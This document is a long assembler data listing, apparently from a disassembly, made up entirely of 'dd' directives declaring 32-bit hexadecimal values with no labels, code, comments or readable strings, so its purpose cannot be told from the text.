dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h
dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h
dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h
dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h
dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h
dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch
dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh
dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h
dd 2E4051E2h, 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h
dd 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh
dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h
dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h
dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch
dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh
dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h
dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h
dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh
dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h
dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch
dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h
dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch
dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h
dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h
dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h
dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh
dd 9E6C4027h, 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h
dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h
dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h
dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh
dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh
dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh
dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h
dd 386412h, 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h
dd 38EC74C4h, 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h
dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh
dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh
dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh
dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h
dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h
dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh
dd 4400040Fh, 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h
dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh
dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h
dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh
dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h
dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh
dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h
dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h
dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h
dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh
dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h
dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch
dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h
dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh
dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h
dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh
dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h
dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch
dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh
dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h
dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h
dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h
dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh
dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh
dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch
dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h
dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh
dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h
dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h
dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h
dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh
dd 48C800C3h, 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h
dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h
dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh
dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h
dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h
dd 7F1D018h, 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh
dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h
dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h
dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h
dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh
dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h
dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h
dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h
dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h
dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h
dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h
dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h
dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh
dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h
dd 6D40703Eh, 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h
dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h
dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h
dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h
dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h
dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah
dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h
dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah
dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh
dd 0B9071C09h, 5AD09F7Bh
dd 347480BBh, 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh
dd 79015C79h, 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h
dd 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h
dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h
dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h
dd 137FCA4h, 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h
dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh
dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h
dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h
dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh
dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h
dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h
dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h
dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h
dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h
dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h
dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h
dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h
dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h
dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh
dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h
dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h
dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h
dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h, 0F2570089h
dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h
dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h
dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h
dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh
dd 7536EDE0h, 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h
dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h
dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h
dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h
dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h
dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h
dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h
dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh
dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h
dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh
dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h
dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h
dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh
dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch
dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh
dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh, 9223BFh
dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h
dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh
dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h
dd 0B70F70h, 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h
dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h
dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch
dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h
dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h
dd 6FE60B27h, 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh
dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh
dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh
dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h
dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h
dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h
dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh
dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh
dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h
dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h
dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h
dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh
dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh
dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh
dd 8B1C09CCh, 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh
dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h
dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h
dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh
dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h
dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh
dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h
dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h
dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h
dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h
dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch
dd 204099B2h
dd 904210Ah, 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h
dd 5ADC3Eh, 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h
dd 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh
dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h
dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h
dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h
dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h
dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h
dd 6738B82h, 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h
dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h
dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh
dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h
dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h
dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h
dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h
dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h
dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh
dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh
dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h
dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h
dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h
dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h
dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h
dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h
dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h, 0CFF9BAB0h
dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch, 3A144143h
dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h
dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h
dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h
dd 938013Ah, 97791257h, 0F3C10E0h, 9472B84Ah, 0DE041DFDh
dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h, 8FA5F163h
dd 9C362F9h, 92072C11h, 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh
dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h, 47914EDAh
dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h
dd 20C897Ah, 48202523h, 0C3001CBCh, 0E9880534h, 43AD0677h
dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h
dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh
dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h
dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h
dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h
dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h, 90067D24h
dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h, 8905B4Bh
dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h
dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh
dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh
dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h
dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch
dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah
dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h, 9E9D51E0h
dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh
dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h
dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h
dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h
dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h
dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h
dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h
dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h
dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh
dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh
dd 275C08Bh, 15392B94h, 9E059CA9h, 0FE081380h, 749CB254h
dd 61800E1h, 2F23B459h, 0FA03A25Ch, 6445A88Bh, 71C59088h
dd 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h, 0F1ACBCB4h
dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh
dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh
dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh
dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h
dd 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h, 36F02200h
dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h
dd 9636641h, 1D4B9085h, 9DBFFB83h, 948F00ACh, 0FA71EA55h
dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h
dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h
dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh, 1A961130h
dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h
dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h, 4CD701E2h
dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h
dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah, 7402320h
dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h
dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h
dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h
dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h
dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h
dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h, 9541015Fh
dd 39FD3B0h, 1913CC45h, 0A2900D66h, 4207D55Ch, 1A6CFD9Dh
dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h
dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h
dd 7598ABCh, 2F06BD83h, 91590FEh, 8B005184h, 1CEEAA41h
dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h
dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h
dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h, 8E431330h
dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah, 8C8F878h
dd 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h, 440099A0h
dd 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h, 80CD4A5h
dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h
dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h, 810FF9EEh
dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh
dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah, 3AC07788h
dd 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h, 14D010F0h
dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h, 0B78E13B9h
dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h, 89D1673Dh
dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh
dd 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h, 28853AF3h
dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h
dd 5357AED6h, 0D83900FAh
dd 68518376h, 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h
dd 637C0CACh, 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h
dd 552D098Eh, 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h
dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h
dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h
dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h
dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h
dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh
dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h
dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h
dd 0E2EACBFh, 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h
dd 121CF018h, 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h
dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h
dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h
